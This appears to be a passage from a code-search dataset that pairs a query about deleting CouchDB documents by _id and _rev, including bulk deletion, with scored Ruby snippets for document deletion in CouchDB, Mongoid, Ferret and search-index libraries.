Flash files, especially playerglobal.swc\"\n\t\tend\n\n\t\tif !advice.empty?\n\t\t\tputs \"*********************************\"\n\t\t\tputs \"ASRake Note: \" + advice.join(\"\\n\")\n\t\t\tputs \"*********************************\"\n\t\tend\n\tend", "title": "" }, { "docid": "197a131906cd30ae079a32407571fbfc", "score": "0.59013724", "text": "def failure_line_groups\n if defined?(@failure_line_groups)\n @failure_line_groups\n else\n @failure_line_groups = [\n { lines: failure_slash_error_lines, already_colorized: true }\n ]\n\n sections = [failure_slash_error_lines, exception_lines]\n separate_groups =\n (\n sections.any? { |section| section.size > 1 } &&\n !exception_lines.first.empty?\n )\n\n if separate_groups\n @failure_line_groups << { lines: [\"\"], already_colorized: true }\n end\n\n already_colorized =\n exception_lines.any? do |line|\n SuperDiff::Csi.already_colorized?(line)\n end\n\n if already_colorized\n @failure_line_groups << {\n lines: exception_lines,\n already_colorized: true\n }\n else\n locatable_exception_lines =\n exception_lines.each_with_index.map do |line, index|\n { text: line, index: index }\n end\n\n boundary_line =\n locatable_exception_lines.find do |line, index|\n line[:text].strip.empty? || line[:text].match?(/^ /)\n end\n\n if boundary_line\n @failure_line_groups << {\n lines: exception_lines[0..boundary_line[:index] - 1],\n already_colorized: false\n }\n @failure_line_groups << {\n lines: exception_lines[boundary_line[:index]..-1],\n already_colorized: true\n }\n else\n @failure_line_groups << {\n lines: exception_lines,\n already_colorized: false\n }\n end\n end\n\n @failure_line_groups\n end\n end", "title": "" }, { "docid": "ce79726b73db291cfb9e9ea9a0e3e00c", "score": "0.5898372", "text": "def error_messages_simple(a)\n return if a.empty?\n r = \"<b>\" + _(\"Errors\") + \"</b><ul>\"\n a.each { |i| r+=\"<li>#{h(i)}</li>\\n\" }\n r+=\"</ul>\\n\"\n r.html_safe\n end", "title": "" }, { "docid": "fc9e10d82566807bc13f81d903408756", "score": "0.5895319", "text": "def error_parab; Minuit.errs(@id)[2]; end", "title": "" }, { "docid": "62adc8b53d205ca2155d997c0879ee5d", "score": "0.5892587", "text": "def parse!\n @output.each_line do |l|\n matches = ERROR_LINE.match(l)\n if !matches.nil?\n @messages << MxmlcError.new(matches[1], matches[5], matches[7], matches[8], matches[9])\n elsif !@messages.empty?\n @messages.last.content << l\n end\n end\n end", "title": "" }, { "docid": "acfbd811b4dd9f5ee7cd52581fb73de9", "score": "0.58784634", "text": "def error_message\n message = [\"Error:\", \"The\", \"that you have entered was not found.\"]\n issue = \"\"\n\n case @address.number\n when \"-2147219401\"\n issue = \"Street Address\"\n when \"-2147219400\"\n issue = \"City\"\n when \"-2147219402\"\n issue = \"State\"\n end\n\n \" #{message[0].red} #{message[1].green} #{issue.yellow} #{message[2].green}\"\n end", "title": "" }, { "docid": "58ca98d8dd0815ccd4d777b959c6b9e5", "score": "0.5878345", "text": "def raw_error(message)\n puts Colours.red(message)\n end", "title": "" } ]
fb8350354522ea8eeca95b711a9abc1b
DELETE the document from CouchDB that has the given _id and _rev. If bulk is true (false by default) the deletion is recorded for bulksaving (bulkdeletion :) later. Bulk saving happens automatically when bulk_save_cache limit is exceded, or on the next non bulk save.
[ { "docid": "6631d3a245ab5ce14079f33116520554", "score": "0.8063399", "text": "def delete_doc(doc, bulk = false)\n raise ArgumentError, \"_id and _rev required for deleting\" unless doc['_id'] && doc['_rev']\n if bulk\n @bulk_save_cache << { '_id' => doc['_id'], '_rev' => doc['_rev'], :_deleted => true }\n return bulk_save if @bulk_save_cache.length >= @bulk_save_cache_limit\n return {'ok' => true} # Mimic the non-deferred version\n end\n slug = escape_docid(doc['_id']) \n CouchRest.delete \"#{@root}/#{slug}?rev=#{doc['_rev']}\"\n end", "title": "" } ]
[ { "docid": "8da7f24ffb2ef6d65f4c3ff85d639cc7", "score": "0.7131307", "text": "def destroy(bulk = false)\n raise ArgumentError, \"doc.database required to destroy\" unless database\n result = database.delete_doc(self, bulk)\n if result['ok']\n self['_rev'] = nil\n self['_id'] = nil\n end\n result['ok']\n end", "title": "" }, { "docid": "cc80f5b20ae35580c2bc29e113a80bc2", "score": "0.69089496", "text": "def delete docid, rev\n doc = {\n \"_id\" => docid,\n \"_rev\" => rev,\n \"_deleted\" => true\n }\n new_rev = put doc\n @doc_count -= 1\n new_rev\n end", "title": "" }, { "docid": "ba466121cb25c04b6697669d1cad519a", "score": "0.67479956", "text": "def delete(options = {})\n if options.nil? || !options.has_key?(:id) || !options.has_key?(:rev)\n raise ArgumentError, \"You must specify both an id and a rev for the document to be deleted\"\n end\n response = connection.delete(\"/#{self.database_name}/#{options[:id]}?rev=#{options[:rev]}\")\n # Returns true if the \n !(response.code =~ /20[0,2]/).nil?\n end", "title": "" }, { "docid": "ecdd77c84ed950f63b9c7917430df274", "score": "0.658201", "text": "def delete\n begin\n database.delete(\"#{id}?rev=#{rev}\") unless new_record?\n rescue DocumentNotFound\n # OK - document is already deleted\n end\n \n read_only!\n self\n end", "title": "" }, { "docid": "548f9364c06edb8d3be08e85deb5483f", "score": "0.6576915", "text": "def delete doc\n slug = CGI.escape(doc['_id'])\n CouchRest.delete \"#{@root}/#{slug}?rev=#{doc['_rev']}\"\n end", "title": "" }, { "docid": "58f250319f785640d5840bc6e26d3588", "score": "0.6465986", "text": "def delete(id, rev)\n if id.is_a?(Array)\n idx = -1\n id.collect {|i| idx += 1; delete(i, rev[idx])}\n else\n database.delete({\"_id\" => id, \"_rev\" => rev})\n true\n end\n end", "title": "" }, { "docid": "220751feca2fea08a30e2d181c4bc48a", "score": "0.645536", "text": "def delete(doc)\n unless doc['_rev']\n raise ArgumentError.new('no _rev for doc')\n end\n\n items = @table.items.query(:hash_value => doc['_id'],\n :range_value => doc['type'])\n count = 0;\n items.each do |i|\n # TODO handle delete errors\n if i.attributes[:rev].to_i == doc['_rev']\n i.delete\n count += 1\n end\n end\n \n if count < 1\n return get(doc['type'], doc['_id']) || true\n end\n nil #Who returns nil of success?\n end", "title": "" }, { "docid": "6e0ea3586b716c4276bc3fe055587920", "score": "0.642181", "text": "def delete!\n @code, body = @connection.hookup.delete([id], {\"rev\" => rev})\n \n # If the document was deleted\n if body[\"ok\"]\n # Update the rev, set the deleted flag to `true` and return `true`\n self.rev = body[\"rev\"]\n @deleted = true\n true\n else\n # Else save error message and return `false`.\n @error = {body[\"error\"] => body[\"reason\"]}\n false\n end\n end", "title": "" }, { "docid": "0000a7306396c52fb7fbf29a5ca22817", "score": "0.633386", "text": "def delete(options = {})\n database = options[:from_database] || self.class.database_name\n \n if new?\n raise ArgumentError, \"You must specify a revision for the document to be deleted\"\n elsif id.nil?\n raise ArgumentError, \"You must specify an ID for the document to be deleted\"\n end\n response = connection.delete(\"/#{database}/#{id}?rev=#{rev}\")\n # Set the id and rev to nil, since the object has been successfully deleted from CouchDB\n if response.code =~ /20[0,2]/\n self.id = nil; self.rev = nil\n true\n else\n false\n end\n end", "title": "" }, { "docid": "ec702618e60c5321231a08d23e116fd7", "score": "0.620379", "text": "def delete_document\n client.bulk body: delete_query_body, refresh: true\n end", "title": "" }, { "docid": "0af7a05fb38bdfe470ff2b9efa9f8906", "score": "0.61428875", "text": "def destroy\n _run_destroy_callbacks do\n result = database.delete_doc(self)\n if result['ok']\n self.delete('_rev')\n self.delete('_id')\n end\n result['ok']\n end\n end", "title": "" }, { "docid": "ad8e229a1e027a0e0f24e43c1fe6401e", "score": "0.61098564", "text": "def delete_logic( defer = false, mask_exceptions = true )\n if defer\n database.add_to_bulk_cache( { '_id' => self['_id'], '_rev' => rev, '_deleted' => true } )\n else\n begin\n delete_now\n rescue Exception => e\n if mask_exceptions || e.class == CouchDB::ResourceNotFound\n false\n else \n raise e\n end \n end \n end \n end", "title": "" }, { "docid": "d43c887da50686f4c1c96b70ea763895", "score": "0.60673815", "text": "def delete_now\n revisions.each do |rev_id| \n CouchDB.delete( \"#{uri}?rev=#{rev_id}\" )\n end\n true \n end", "title": "" }, { "docid": "12d247b48d8bf50c1d75000161135d70", "score": "0.60639226", "text": "def cloud_search_delete_document(doc)\n self.cloud_search_batcher_command(:delete_document, doc)\n end", "title": "" }, { "docid": "99b075a4c62f77bdf45ac541ff8544ce", "score": "0.6047837", "text": "def delete(document)\n execute_callbacks_around(:remove, document) do\n _target.delete_one(document).tap do |doc|\n if doc && !_binding?\n _unscoped.delete_one(doc)\n if _assigning?\n _base.add_atomic_pull(doc)\n else\n doc.delete(suppress: true)\n unbind_one(doc)\n end\n update_attributes_hash\n end\n reindex\n end\n end\n end", "title": "" }, { "docid": "2ffd67d729804892a2f998669964dc72", "score": "0.6045341", "text": "def delete_design_doc(id, rev = nil, async: false)\n id = id.to_s.sub(/^_design\\//, '')\n rev = \"?rev=#{rev}\" if rev\n result @connection.http(\"/_design/#{id}#{rev}\", method: :delete, type: :view), async\n end", "title": "" }, { "docid": "a7a293210242a1290afb3c986e1c2211", "score": "0.59973466", "text": "def delete!\n CouchDB.delete( uri )\n end", "title": "" }, { "docid": "a7a293210242a1290afb3c986e1c2211", "score": "0.59973466", "text": "def delete!\n CouchDB.delete( uri )\n end", "title": "" }, { "docid": "304763fba253ee49d90ad6248d5c27f3", "score": "0.5972816", "text": "def delete_design_doc(id, rev = nil)\n ddoc = design_docs[id.sub(/^_design\\//, '')]\n return nil unless ddoc\n path = Utils.build_query(ddoc['_id'], :rev => rev || ddoc['_rev'])\n req = make_couch_request(path, :method => :delete)\n res = Yajl::Parser.parse(req.perform)\n if res['ok']\n true\n else\n raise \"Failed to save design document: #{res['error']}\"\n end\n end", "title": "" }, { "docid": "1c25d99461c3aea4a6f350db8e792ac5", "score": "0.5955236", "text": "def delete(document)\n target.delete_one(document).tap do |doc|\n _unscoped.delete_one(doc)\n if doc && !_binding?\n if _assigning?\n if doc.paranoid?\n doc.destroy(:suppress => true)\n else\n base.add_atomic_pull(doc)\n end\n else\n doc.delete(:suppress => true)\n unbind_one(doc)\n end\n end\n reindex\n end\n end", "title": "" }, { "docid": "a356422dfd0ebc102673000ce425cc08", "score": "0.58738434", "text": "def delete_all!\n each do |item|\n raise \"Some (all?) items in list do not contain _rev properties in their values\" unless item['value']['_rev']\n end\n \n request = { docs: map { |item|\n { _id: item['value']['_id'] || item['id'], _rev: item['value']['_rev'], _deleted: true }\n } }\n \n response = JSON.parse @database.http(\"_bulk_docs\").post(request.to_json)\n raise \"Error: #{response['error']} - #{response['reason']}\" if response.is_a? Hash and response['error']\n \n return ChillDB::IndifferentHash.new.replace response\n end", "title": "" }, { "docid": "8b81eb934d94f44467bd8222dbe29499", "score": "0.5854505", "text": "def document_delete(record_id, doc_id)\n new_doc = do_xml_http(:DELETE, \"/records/#{CGI::escape(record_id)}/documents/#{CGI::escape(doc_id)}\", {})\n end", "title": "" }, { "docid": "3a7a117624c3c76d9176a710bdc074aa", "score": "0.58481723", "text": "def deletes\n { document.atomic_delete_modifier =>\n { document.atomic_path =>\n document._index ? { \"_id\" => document.id } : true } }\n end", "title": "" }, { "docid": "31ffecdefa80b17217ea2fe0ac03cac9", "score": "0.5819876", "text": "def perform(doc)\n doc.destroy\n end", "title": "" }, { "docid": "12a10454b97d6e5aba06d4c671189432", "score": "0.578314", "text": "def delete(document)\n super.tap do |doc|\n if doc && persistable?\n base.pull(metadata.foreign_key, doc.id)\n base.synced[metadata.foreign_key] = false\n end\n end\n end", "title": "" }, { "docid": "51be83dea54e8a2c26638d785613052b", "score": "0.5773684", "text": "def delete_all\n documents['rows'].each do |doc|\n CouchDB.delete( \"#{uri}/#{CGI.escape( doc['id'])}?rev=#{doc['value']['rev']}\" ) #rescue nil\n end \n end", "title": "" }, { "docid": "a463a92450c1911ead1187f7f99f8094", "score": "0.57717043", "text": "def delete_one(document)\n target.delete_one(document)\n _unscoped.delete_one(document)\n reindex\n end", "title": "" }, { "docid": "986a84d016743b7689a8079a9d5aa29b", "score": "0.57565945", "text": "def destroy\n raise ArgumentError, \"doc.database required to destroy\" unless database\n result = database.delete self\n if result['ok']\n self['_rev'] = nil\n self['_id'] = nil\n end\n result['ok']\n end", "title": "" }, { "docid": "917622c00280287c77dd9ec635d53437", "score": "0.5707315", "text": "def purge!\n\n docs = @couch.all(:include_docs => false, :include_design_docs => false)\n @couch.bulk_delete(docs)\n end", "title": "" }, { "docid": "dfc27f03dd61850d90664b3bad8a2981", "score": "0.56723595", "text": "def destroy_bulk(user_records_to_delete)\n #TODO: Investigate why mutiple ids may be returned for the same record\n #Answer Database Corruption\n user_records_to_delete.uniq!\n #puts \"List of all records: #{user_records_to_delete.map{|r| r['_id']}.inspect}\"\n\n user_records_to_delete.each do |user_rec|\n begin\n db_key = user_rec[@persist_layer_key] || generate_pk_data(user_rec[@model_key])\n att_doc_id = attachClass.uniq_att_doc_id(db_key)\n r = @db.get(db_key )\n @db.delete_doc(r)\n begin\n att_doc = @db.get(att_doc_id)\n rescue\n att_doc = nil\n end\n @db.delete_doc(att_doc) if att_doc\n rescue RestClient::RequestFailed\n @@log.warn{ \"Warning:: Failed to delete document?\" } if @@log.warn?\n end\n end\n nil #TODO ok to return nil if all docs destroyed? also, not verifying\n end", "title": "" }, { "docid": "9076f3800b0302739fa0d1b40db0a525", "score": "0.5671837", "text": "def batch_delete(docs)\n docs = docs.keys if docs.is_a?(Hash)\n raise ArgumentError, \"must pass Array or Hash\" unless docs.is_a? Array\n ids = []\n terms = []\n docs.each do |doc|\n case doc\n when String then terms << doc\n when Symbol then terms << doc.to_s\n when Integer then ids << doc\n else\n raise ArgumentError, \"Cannot delete for arg of type #{id.class}\"\n end\n end\n if ids.size > 0\n ensure_reader_open\n ids.each {|id| @reader.delete(id)}\n end\n if terms.size > 0\n ensure_writer_open()\n @writer.delete(@id_field, terms)\n end\n return self\n end", "title": "" }, { "docid": "007c9b4b721edad7bd3dbc846cabde69", "score": "0.5670714", "text": "def delete doc, exists: nil, update_time: nil\n ensure_not_closed!\n\n doc_path = coalesce_doc_path_argument doc\n\n @writes << Convert.write_for_delete(\n doc_path, exists: exists, update_time: update_time\n )\n\n nil\n end", "title": "" }, { "docid": "91d9fddd2aedf1aaa3fef85a3a850a38", "score": "0.56483084", "text": "def delete(_id)\n log(:\"Deleting document #{_id}\", action: :delete)\n client.delete(index: index, type: type, id: _id)\n end", "title": "" }, { "docid": "b1c3f051c7838660dbc6da6d154a5b06", "score": "0.56458807", "text": "def batch_delete(docs)\n docs = docs.keys if docs.is_a?(Hash)\n raise ArgumentError, \"must pass Array or Hash\" unless docs.is_a? Array\n ids = []\n terms = []\n docs.each do |doc|\n case doc\n when String: terms << doc\n when Symbol: terms << doc.to_s\n when Integer: ids << doc\n else\n raise ArgumentError, \"Cannot delete for arg of type #{id.class}\"\n end\n end\n if ids.size > 0\n ensure_reader_open\n ids.each {|id| @reader.delete(id)}\n end\n if terms.size > 0\n ensure_writer_open()\n terms.each { |t| @writer.delete(@id_field, t) }\n # TODO with Ferret trunk this would work:\n # @writer.delete(@id_field, terms)\n end\n return self\n end", "title": "" }, { "docid": "c911c908584ad96ef593943db8693f0c", "score": "0.5607507", "text": "def deleteDocument( id )\n connection.delete( id )\n end", "title": "" }, { "docid": "d2d96f84f223bc02d0ceeded3f5a402d", "score": "0.56020075", "text": "def delete_by_id(doc_id, opts = {})\n call(ft_del(doc_id, opts))\n end", "title": "" }, { "docid": "4833e14e06b8e3c7119aa97d0849cb71", "score": "0.55906624", "text": "def destroy\n result = database.delete self\n if result['ok']\n self['_rev'] = nil\n self['_id'] = nil\n end\n result['ok']\n end", "title": "" }, { "docid": "4b7b8be6c7773a056dd2b607603333cd", "score": "0.55870634", "text": "def delete(document)\n doc = super\n if doc && persistable?\n _base.pull(foreign_key => doc.public_send(_association.primary_key))\n _target._unloaded = criteria\n unsynced(_base, foreign_key)\n end\n doc\n end", "title": "" }, { "docid": "46dee1efbb634045290944c0f6f4798e", "score": "0.55814683", "text": "def delete!\n id = @hash['_id']\n raise unless id # TODO: custom exception\n @coll.remove({_id: id})\n end", "title": "" }, { "docid": "eb77d9bcce20e85980b3713210c356de", "score": "0.5575553", "text": "def delete(id)\n raise RuntimeError, \"File datastore does not support document deletion\"\n end", "title": "" }, { "docid": "5885d3342f608cc836f15a31e687624d", "score": "0.5572038", "text": "def delete\n begin \n CouchDB.delete( uri )\n rescue CouchDB::ResourceNotFound\n nil\n end \n end", "title": "" }, { "docid": "5885d3342f608cc836f15a31e687624d", "score": "0.5572038", "text": "def delete\n begin \n CouchDB.delete( uri )\n rescue CouchDB::ResourceNotFound\n nil\n end \n end", "title": "" }, { "docid": "7b32432e79ca6ded385e6ce65a1f57a8", "score": "0.55453396", "text": "def db_delete(where = {})\n\t\t\t\twhere[:_id] = _id\n\t\t\t\tcoll.remove(where)\n\t\t\tend", "title": "" }, { "docid": "de76bdbeb9e495caed509498f1cbfabd", "score": "0.5540241", "text": "def delete_all\n documents['rows'].each do |doc|\n CouchSpring.delete( \"#{uri}/#{CGI.escape( doc['id'])}?rev=#{doc['value']['rev']}\" ) #rescue nil\n end\n end", "title": "" }, { "docid": "0f885c2427a39d07c6c75a6553900694", "score": "0.5521785", "text": "def destroy!\n before_destroy\n\n freeze\n \n # destruction status\n status = nil\n \n # Since new documents haven't been saved yet, and frozen documents\n # *can't* be saved, simply return true here.\n if new_document?\n status = true\n else\n result = JSON.parse(RestClient.delete(File.join(uri, \"?rev=#{ rev }\")))\n \n status = result[\"ok\"]\n end\n \n after_destroy\n \n status\n end", "title": "" }, { "docid": "9438a06d20d45f04483d34615c7bf900", "score": "0.55122495", "text": "def delete_from_index\n if self.class.update_index_policy == :immediate_with_refresh\n self.class.delete_id_from_index(self.id, :refresh => true)\n # As of Oct 25 2010, :refresh => true is not working\n self.class.refresh_index()\n elsif self.class.update_index_policy == :enqueue\n Resque.enqueue(DistributedIndexing::ReIndexDocuments, self.class.to_s, [self.id])\n else\n self.class.delete_id_from_index(self.id)\n end\n end", "title": "" }, { "docid": "55cf3e54ea23baa0cb83f01b08ce3f3f", "score": "0.5504054", "text": "def remove(args = {})\n doc = args[:doc]\n doc_id = args[:doc_id]\n doc_rev = args[:doc_rev]\n options = args[:options]\n\n %x{\n var pouchPromise;\n if (doc) {\n pouchPromise = #{@native}.remove(#{doc.to_n}, #{options.to_n})\n } else {\n pouchPromise = #{@native}.remove(doc_id, doc_rev, #{options.to_n})\n }\n }\n\n as_opal_promise(`pouchPromise`)\n end", "title": "" }, { "docid": "c2c61522ed0c0783409c25dc0f582506", "score": "0.5496628", "text": "def delete_documents(options = {})\n Utils.version_error_handler(__method__) do\n if options.is_a?(Hash) && options.key?(:filter)\n http_post \"/indexes/#{@uid}/documents/delete\", options\n else\n # backwards compatibility:\n # expect to be a array or/number/string to send alongside as documents_ids.\n options = [options] unless options.is_a?(Array)\n\n http_post \"/indexes/#{@uid}/documents/delete-batch\", options\n end\n end\n end", "title": "" }, { "docid": "c4ded879cd6cea9d355ced7e095172e3", "score": "0.547701", "text": "def remove_document(id)\n connection.delete_by_id(id, params: { softCommit: true })\n end", "title": "" }, { "docid": "f4cc06fc51fecc9033436ad436a28b7c", "score": "0.54733646", "text": "def delete(id)\n @strategy.delete_document(id)\n end", "title": "" }, { "docid": "5c5219b5ae3c9da3d0397ce689b9316e", "score": "0.5472842", "text": "def ft_del record:\n doc_id = record.to_global_id\n REDI_SEARCH.call('FT.DEL', @index_name, doc_id)\n rescue Exception => e\n Rails.logger.error e if defined? Rails\n return e.message\n end", "title": "" }, { "docid": "45a3b6b24ab908a5f5a9e269925749cd", "score": "0.5464611", "text": "def delete\n self.replace('_id'=> self['_id'], '_rev'=> self['_rev'], '_deleted'=> true)\n end", "title": "" }, { "docid": "6f04829550ac67ed68234bebab1f815a", "score": "0.5452464", "text": "def delete(arg)\n @dir.synchronize do\n if arg.is_a?(String) or arg.is_a?(Symbol)\n ensure_writer_open()\n @writer.delete(@id_field, arg.to_s)\n elsif arg.is_a?(Integer)\n ensure_reader_open()\n cnt = @reader.delete(arg)\n elsif arg.is_a?(Hash) or arg.is_a?(Array)\n batch_delete(arg)\n else\n raise ArgumentError, \"Cannot delete for arg of type #{arg.class}\"\n end\n flush() if @auto_flush\n end\n return self\n end", "title": "" }, { "docid": "11d91bc2ba13a8b0854eeb7336d49bab", "score": "0.54507667", "text": "def delete\n deleted = count\n removed = map do |doc|\n prepare_remove(doc)\n doc.as_document\n end\n unless removed.empty?\n collection.find(selector).update(\n positionally(selector, \"$pullAll\" => { path => removed })\n )\n end\n deleted\n end", "title": "" }, { "docid": "acb7c2c52ad187412b536730b8080262", "score": "0.54283524", "text": "def delete_document(*args)\n @api.delete_document(*args)\n end", "title": "" }, { "docid": "827476ad1ec2dd30296599ab3e1d9d08", "score": "0.54200846", "text": "def destroy\r\n @doc.delete\r\n end", "title": "" }, { "docid": "1868c51d39e50cc5f262350da01d4014", "score": "0.54171365", "text": "def document_delete(document_id)\n make_request(:delete,document_url(document_id))\n end", "title": "" }, { "docid": "599ce297822787e0940350169d14a64d", "score": "0.54068166", "text": "def delete(obj)\n @records.delete(obj)\n @modified = true\n end", "title": "" }, { "docid": "e3c49d15ca769e540a663740cd197a35", "score": "0.53863174", "text": "def delete(document, options = {})\n target.delete(document).tap do |doc|\n binding.unbind_one(doc, default_options.merge!(options)) if doc\n end\n end", "title": "" }, { "docid": "1f7fef655e0a376112405d3a46c42e0f", "score": "0.53854465", "text": "def delete\n deleted = count\n removed = map do |doc|\n prepare_remove(doc)\n doc.send(:as_attributes)\n end\n unless removed.empty?\n collection.find(selector).update_one(\n positionally(selector, \"$pullAll\" => { path => removed }),\n session: _session\n )\n end\n deleted\n end", "title": "" }, { "docid": "b2c95c678fab6cb3bfc886c048fbdb6f", "score": "0.53846747", "text": "def delete_document(options={})\n request = { index: index_name,\n id: self.id }\n request.merge!(type: document_type) if document_type\n\n client.delete(request.merge!(options))\n end", "title": "" }, { "docid": "773cbfe5f7bef6de475dda009c688e6b", "score": "0.53641987", "text": "def delete(document)\n doc = (_loaded.delete(document._id) || _added.delete(document._id))\n unless doc\n if _unloaded && _unloaded.where(_id: document._id).exists?\n yield(document) if block_given?\n return document\n end\n end\n yield(doc) if block_given?\n doc\n end", "title": "" }, { "docid": "f675ca5ffe01d5771429a700177430ad", "score": "0.5352675", "text": "def delete(*records)\n return if records.empty?\n _options = records.extract_options!\n dependent = _options[:dependent] || options[:dependent]\n\n records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }\n delete_or_destroy(records, dependent)\n end", "title": "" }, { "docid": "3eae6ca2e902ea24399d3dac3148b920", "score": "0.53516954", "text": "def delete(document_id)\n response = send(Solr::Request::Delete.new(:id => document_id))\n commit if @autocommit\n response.ok?\n end", "title": "" }, { "docid": "e4c313720b4da6ae1c520df78e10ccb3", "score": "0.5346191", "text": "def delete_attachment(doc, name, force=false)\n uri = url_for_attachment(doc, name)\n # this needs a rev\n begin\n CouchRest.delete(uri)\n rescue Exception => error\n if force\n # get over a 409\n doc = get(doc['_id'])\n uri = url_for_attachment(doc, name)\n CouchRest.delete(uri)\n else\n error\n end\n end\n end", "title": "" }, { "docid": "89fcefc23aa8f55f223fae7904de0c76", "score": "0.5345312", "text": "def destroy\n @current_method = \"Delete\"\n notify(self) { connection.delete_document(self.class.table_name, id) }\n\n @persisted = false\n self\n end", "title": "" }, { "docid": "b7a41b90779234acdf14ef5444e734bd", "score": "0.5344622", "text": "def delete(document)\n target.delete(document) do |doc|\n if doc\n unbind_one(doc)\n cascade!(doc)\n end\n end\n end", "title": "" }, { "docid": "ecbae9bf242f6b6e7ed6982eb280ddf8", "score": "0.53426844", "text": "def delete_document_by_id(id)\n response = @client.delete index: @index, type: @type, id: id\n LogWrapper.log('DEBUG', {'message' => \"ES document successfully deleted. Id: #{id}\", \n 'method' => 'delete_document_by_id'})\n\n response\n end", "title": "" }, { "docid": "988414a4a570a704e729093d68f3b745", "score": "0.5330985", "text": "def delete_document(rid)\n raise NotImplementedError, 'this should be overridden by concrete client'\n end", "title": "" }, { "docid": "23484dc1bc5123fa4578aff4bac253d9", "score": "0.53224427", "text": "def delete!( name )\n if self[name]\n file = delete( name ) \n unless document.new?\n CouchDB.delete( uri_for( name ) )\n end \n file \n end \n end", "title": "" }, { "docid": "e64acc68022dd56d3d5479ca45aa8140", "score": "0.53084105", "text": "def save_doc(doc, bulk = false, batch = false)\n if doc['_attachments']\n doc['_attachments'] = encode_attachments(doc['_attachments'])\n end\n if bulk\n @bulk_save_cache << doc\n bulk_save if @bulk_save_cache.length >= @bulk_save_cache_limit\n return {'ok' => true} # Compatibility with Document#save\n elsif !bulk && @bulk_save_cache.length > 0\n bulk_save\n end\n result = if doc['_id']\n slug = escape_docid(doc['_id'])\n begin\n uri = \"#{@root}/#{slug}\"\n uri << \"?batch=ok\" if batch\n CouchRest.put uri, doc\n rescue RestClient::ResourceNotFound\n p \"resource not found when saving even tho an id was passed\"\n slug = doc['_id'] = @server.next_uuid\n CouchRest.put \"#{@root}/#{slug}\", doc\n end\n else\n begin\n slug = doc['_id'] = @server.next_uuid\n CouchRest.put \"#{@root}/#{slug}\", doc\n rescue #old version of couchdb\n CouchRest.post @root, doc\n end\n end\n if result['ok']\n doc['_id'] = result['id']\n doc['_rev'] = result['rev']\n doc.database = self if doc.respond_to?(:database=)\n end\n result\n end", "title": "" }, { "docid": "93897252873bc4cc01e209c231692e82", "score": "0.5303049", "text": "def persist\n prepare do |doc|\n collection.remove({ :_id => doc.id }, options)\n end\n end", "title": "" }, { "docid": "a49a4bff923cfb4d9d3fc786f74c86d8", "score": "0.53019226", "text": "def delete_from_index\n if self.class.update_index_policy == :immediate_with_refresh\n self.class.delete_id_from_index(self.id, :refresh => true)\n # As of Oct 25 2010, :refresh => true is not working\n self.class.refresh_index()\n elsif self.class.update_index_policy == :enqueue\n Resque.enqueue(DistributedIndexing::ReIndexDocuments, self.class.to_s, [self.id])\n else\n begin\n self.class.delete_id_from_index(self.id)\n rescue ElasticSearch::RequestError => e\n nil\n end\n end\n end", "title": "" }, { "docid": "45b4953d61abdf06fe2e626d35573f72", "score": "0.5288973", "text": "def delete_document (i, pos)\n did = nil\n\n $doc_mutex.synchronize {\n if $documents.length == 0\n return pos\n end\n\n pos = (pos * 13 + 1) % $documents.length\n\n did = $documents[pos]\n\n if pos + 1 == $documents.length\n $documents.pop()\n else\n $documents[pos] = $documents.pop()\n end\n }\n\n res = ArangoDB.delete(\"/_api/document/#{did}\")\n\n if res.code == 200\n if $verbose\n puts \"deleted document #{pos} in thread #{i}: #{did}\"\n end\n else\n puts \"FAILED DELETE:\"\n puts \"thread: #{i}\"\n puts \"document identifier: #{did}\"\n puts JSON.pretty_generate(res.parsed_response)\n puts \"--------------\"\n end\n\n return pos\nend", "title": "" }, { "docid": "8a2fe3f1c653257e68b42da0ce6b999f", "score": "0.52841127", "text": "def delete_record record_id\n ActiveSupport::Notifications.instrument('cloudsearchable.delete_record') do\n CloudSearch.post_sdf doc_endpoint, deletion_sdf(record_id)\n end\n end", "title": "" }, { "docid": "659faa36f9645abe6eb474e5491c2f0f", "score": "0.52755207", "text": "def delete( item )\n from_bson_to_hash @collection.find(item).find_one_and_delete\n end", "title": "" }, { "docid": "f1ecc4f0544059ed911aff228d1674dd", "score": "0.52694327", "text": "def delete(batch_size: 100)\n scope.find_in_batches(batch_size: batch_size) do |group|\n client.bulk(body: group.map { |record| {delete: {_index: index, _type: type, _id: record.id}} })\n end\n end", "title": "" }, { "docid": "8ba71d8e0f057aede84c927bf0b98ae9", "score": "0.5262689", "text": "def delete_document(document_type, document_id)\n path = get_couchdb_document_path(document_id)\n delete_file(path)\n end", "title": "" }, { "docid": "f81a9434d5f219e0cf69b5c93ce3f3b8", "score": "0.5252237", "text": "def _remove(document)\n _target.delete_one(document)\n _unscoped.delete_one(document)\n update_attributes_hash\n reindex\n end", "title": "" }, { "docid": "081f261ab6cee5b8b4099d10914e7b59", "score": "0.5249892", "text": "def destroy\n\tself.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\nend", "title": "" }, { "docid": "a41719c70da25ecb5c9391c1c1809f63", "score": "0.5218492", "text": "def destroy\n \tself.class.mongo_client.database.fs.find(:_id => BSON::ObjectId(@id)).delete_one\n end", "title": "" }, { "docid": "46ce0aa7159a9025cdff5b8e3db1b906", "score": "0.520679", "text": "def delete(id)\n documents.delete(id.to_s)\n end", "title": "" }, { "docid": "2ecf94977bf422940d4fb8c399c46513", "score": "0.5206424", "text": "def delete(*records)\n delete_or_destroy *records, :delete\n end", "title": "" }, { "docid": "9cad08132892c3d2453e5dcad3545e44", "score": "0.5203128", "text": "def _delete_doc(dockey)\n # check if this doc has buckets\n if(@db.exists(\"#{dockey}:indices\"))\n buckets_list = _get_buckets(dockey)\n # delete all buckets\n @db.pipelined do\n @db.del(\"#{dockey}:indices\")\n buckets_list.each do |bucket|\n @db.del(bucket)\n end\n end\n end\n\n # delete main doc\n @db.del(dockey)\n end", "title": "" }, { "docid": "7a4be3fecc4c8e13dd24c061839eaf7c", "score": "0.5201369", "text": "def delete(*records)\n delete_or_destroy *records, :delete\n end", "title": "" }, { "docid": "2744bceaaf01391ff1232e0d3f321a36", "score": "0.5195658", "text": "def delete\n unless saved?\n raise \"cannot delete unless saved\"\n end\n \n index.delete(sha)\n repo.delete(sha)\n self\n end", "title": "" }, { "docid": "cf2c4858bcaa05b9843f4b2296030bc7", "score": "0.5190521", "text": "def delete(document_id)\n delete_all([document_id])\n end", "title": "" }, { "docid": "959609c10d0d77313f8ca81c1fa79289", "score": "0.5186779", "text": "def delete(path)\n database, id, *parts = extract_parts(path)\n \n # fetch document\n doc = document(database, id)\n # remove object\n doc.delete_at_path(parts)\n # save document\n update(database, id, doc)\n end", "title": "" }, { "docid": 